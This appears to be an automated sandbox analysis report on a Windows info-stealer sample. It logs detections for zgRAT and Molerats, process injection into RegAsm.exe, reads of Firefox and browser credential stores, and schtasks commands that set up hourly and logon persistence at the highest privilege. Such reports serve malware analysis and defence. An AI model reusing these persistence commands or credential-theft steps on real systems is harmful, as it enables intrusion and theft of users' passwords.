Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F9D70	2_2_004F9D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00545DE0	2_2_00545DE0
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DC28F0	13_2_00DC28F0
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DB8D09	13_2_00DB8D09
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_006428F0	14_2_006428F0
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_0063C207	14_2_0063C207
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_00638D09	14_2_00638D09
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BF28F0	26_2_00BF28F0
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BE8D09	26_2_00BE8D09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 28_2_028E7742	28_2_028E7742
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 28_2_028E7750	28_2_028E7750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 28_2_028E7498	28_2_028E7498
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C528F0	33_2_00C528F0
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C48D09	33_2_00C48D09
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_004528F0	42_2_004528F0
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_0044C207	42_2_0044C207
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_00448D09	42_2_00448D09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041ECEC	43_2_0041ECEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041E919	43_2_0041E919
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041EEC1	43_2_0041EEC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041F6CF	43_2_0041F6CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22194CF0	43_2_22194CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2220A0B0	43_2_2220A0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218209F	43_2_2218209F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221966C0	43_2_221966C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221847AF	43_2_221847AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221AA560	43_2_221AA560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2227A590	43_2_2227A590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218AA40	43_2_2218AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218EA80	43_2_2218EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222BE800	43_2_222BE800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22183E3B	43_2_22183E3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218481D	43_2_2218481D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2229A900	43_2_2229A900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2227A940	43_2_2227A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222669C0	43_2_222669C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2235AEBE	43_2_2235AEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221C6E80	43_2_221C6E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221E2EE0	43_2_221E2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221819DD	43_2_221819DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B3370	43_2_221B3370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218174E	43_2_2218174E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218F160	43_2_2218F160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221ABAB0	43_2_221ABAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B7810	43_2_221B7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218251D	43_2_2218251D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218290A	43_2_2218290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22183AB2	43_2_22183AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222A8030	43_2_222A8030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22200090	43_2_22200090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22208120	43_2_22208120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221A8680	43_2_221A8680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22218760	43_2_22218760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221A8763	43_2_221A8763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221E4760	43_2_221E4760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222C0480	43_2_222C0480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22284A60	43_2_22284A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218C800	43_2_2218C800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22181EF1	43_2_22181EF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221BCE10	43_2_221BCE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221A8D2A	43_2_221A8D2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2235D209	43_2_2235D209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222153B0	43_2_222153B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22183580	43_2_22183580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22199000	43_2_22199000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222A5040	43_2_222A5040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22229690	43_2_22229690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2223D6D0	43_2_2223D6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222E9430	43_2_222E9430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218D4C0	43_2_2218D4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222A9A20	43_2_222A9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22182018	43_2_22182018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22181C9E	43_2_22181C9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22235940	43_2_22235940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22182AA9	43_2_22182AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221812A8	43_2_221812A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2218292D	43_2_2218292D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B1C50	43_2_221B1C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222E9CC0	43_2_222E9CC0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: String function: 00BDA150 appears 49 times
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: String function: 00C3A150 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: String function: 00DAA150 appears 49 times
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: String function: 0062A150 appears 49 times
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: String function: 0057A150 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: String function: 0043A150 appears 49 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00547510 appears 110 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 22181F5A appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 22183AF3 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 22181C2B appears 47 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 2218395E appears 81 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402CF0 appears 112 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 223606B1 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041ACE0 appears 146 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404239 appears 287 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 2218415B appears 173 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434380 appears 57 times

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6664 -s 280

Source: BRWgvKaqbg.exe, 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamedotnet.exe6 vs BRWgvKaqbg.exe

Source: BRWgvKaqbg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 33.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 35.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288, type: MEMORYSTR	Matched rule: Molerats_Jul17_Sample_5 date = 2017-07-07, hash1 = ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a, author = Florian Roth, description = Detects Molerats sample - July 2017, reference = https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: BRWgvKaqbg.exe	Static PE information: Section: .data ZLIB complexity 0.9968492723794063
Source: rise2606[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9968492723794063
Source: s7jOcwxjI7k0XEcaiYN_.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9968492723794063
Source: AdobeUpdaterV168.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9968492723794063
Source: MSIUpdaterV168.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9968492723794063
Source: meta2606[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.989236328125
Source: hhUml7ndoUuFxb5WyDjE.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.989236328125
Source: AdobeUpdaterV168.exe0.2.dr	Static PE information: Section: .data ZLIB complexity 0.989236328125
Source: MSIUpdaterV168.exe0.2.dr	Static PE information: Section: .data ZLIB complexity 0.989236328125

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/67@4/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_005447E0 GetLastError,GetVersionExA,FormatMessageW,LocalFree,FormatMessageA,

2_2_005447E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00544DE0 GetVersionExA,CreateFileW,CreateFileA,GetDiskFreeSpaceW,GetDiskFreeSpaceA,

2_2_00544DE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004E06D0 CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,

2_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0048BAC8 CopyFileA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,CopyFileA,GetUserNameA,CopyFileA,SHGetFolderPathA,CoInitialize,CoCreateInstance,MultiByteToWideChar,CoUninitialize,ShellExecuteA,

2_2_0048BAC8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7288
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6664
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7148
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3920

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\trixymA1X5YS12PoP

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BRWgvKaqbg.exe, 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, s7jOcwxjI7k0XEcaiYN_.exe, 0000000D.00000002.2290987179.0000000000DCF000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000E.00000002.2340892843.000000000064F000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 0000000F.00000002.2297891891.000000000064F000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: BRWgvKaqbg.exe, 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, s7jOcwxjI7k0XEcaiYN_.exe, 0000000D.00000002.2290987179.0000000000DCF000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000E.00000002.2340892843.000000000064F000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 0000000F.00000002.2297891891.000000000064F000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: nUdtXUIwk_H6Login Data.2.dr, lU8UsNjxYsOULogin Data.2.dr, wMAXHCLX6SHhLogin Data For Account.2.dr, JKFIDG.43.dr, GCBFBG.43.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: BRWgvKaqbg.exe	Virustotal: Detection: 40%
Source: BRWgvKaqbg.exe	ReversingLabs: Detection: 63%

Source: RegAsm.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\BRWgvKaqbg.exe "C:\Users\user\Desktop\BRWgvKaqbg.exe"
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6664 -s 280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
